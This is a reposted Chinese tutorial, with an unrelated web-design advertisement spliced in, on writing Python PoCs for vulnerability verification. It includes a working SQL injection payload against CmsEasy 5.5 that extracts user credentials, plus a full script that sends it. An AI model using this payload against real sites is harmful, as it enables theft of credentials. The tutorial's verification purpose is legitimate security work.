如今,PoC 的编写在我们安全研究团队是每个人必备的技能之一。那么,PoC是什么呢?我们应该如何优雅的来进行编写?
成都一家集口碑和实力的网站建设服务商,拥有专业的企业建站团队和靠谱的建站技术,十余年企业及个人网站建设经验 ,为成都超过千家客户提供网页设计制作,网站开发,企业网站制作建设等服务,包括成都营销型网站建设,高端网站设计,同时也为不同行业的客户提供成都网站设计、成都做网站的服务,包括成都电商型网站制作建设,装修行业网站制作建设,传统机械行业网站建设,传统农业行业网站制作建设。在成都做网站,选网站制作建设服务商就选创新互联公司。
0x00 我们需要掌握的几个的概念
PoC(全称:Proof of Concept)中文意思是“观点证明”。在安全行业中PoC则是一段验证漏洞的程序,使我们能够确认这个漏洞是真实存在的。
python,是一种面向对象、解释型计算机程序设计语言。常见的一些库我们需要了解,比如:urllib,urllib2,re,request,socket等,本文我们要使用Python这门语言,Python的基础知识我们不做讲解。
SQL Injection,通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
0x01 PoC编写流程
场景还原:某网站托管公司,旗下托管了数万个站点,负责这些站点的安全,但是突然某一天,某知名CMS程序被爆出存在一个高危的SQL注入,某网管排查后发现旗下托管网站中存在几百个站点使用该CMS程序,那么一个一个去排查是否存在该漏洞是非常繁琐的,所以,我们需要一个PoC来验证下。
·根据该漏洞详情的描述,假设已知出现漏洞的CMS版本号为4.1,可以去其官网或者GitHub上去下载相对应的版本。
·下载之后,模拟其服务器真实环境,本地进行搭建。根据漏洞描述,进行复现,已SQL注入为例,重复提交不同的参数,观察不同的返回结果,同时注意如果该漏洞不存在出现的结果。
·根据漏洞复现的实际情况,进行PoC的编写。
·PoC写完之后需要进行相关的测试,已确保该PoC的编写没有问题,比如测试靶机程序,以及不存在漏洞的程序。
0x02 SQL Injection poc编写
已知CmsEasy 5.5 UTF-8程序存在SQL注入,乌云漏洞中的漏洞细节比较详细
(由于wooyun已经暂停访问,故不上链接了)。
·首先,我们需要下载其相关源码,进行本地搭建。
阅读漏洞细节,我们得知其url与payload如下:
URL:http://xxx.xxx/celive/live/header.php Payload:xajax=LiveMessage&xajaxargs[0]=name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20
·漏洞复现:我们根据其漏洞描述,进行复现,该注入点需要发起一个Post请求,我们使用Firefox浏览器配合hackbar插件进行复现,填入url与payload,发送,获取其账户密码。
漏洞效果如下:
这样,我们的漏洞就已经复现成功了。接下来,我们来写Poc。
#!/usr/bin/env python # coding:utf-8 import urllib2 import urllib import re import sys def verify(url): target = '%s/celive/live/header.php' % url #需要发送的数据 post_data = { 'xajax': 'LiveMessage', 'xajaxargs[0]': "name',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- " } try: #发送请求 req = urllib2.Request(target, data=urllib.urlencode(post_data)) response = urllib2.urlopen(req) #处理请求,进行判断 if response: data = response.read() if "XPATH syntax error" in data: print "%s is vulnerable" % target else: print "%s is not vulnerable" % target except Exception, e: print "Something happend..." print e def main(): args = sys.argv url = "" if len(args) == 2: url = args[1] verify(url) else: print "Usage: python %s url" % (args[0]) if __name__ == '__main__': main()
名称栏目:创新互联Python教程:python poc是什么
文章源于:http://www.gawzjz.com/qtweb2/news17/15467.html
网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联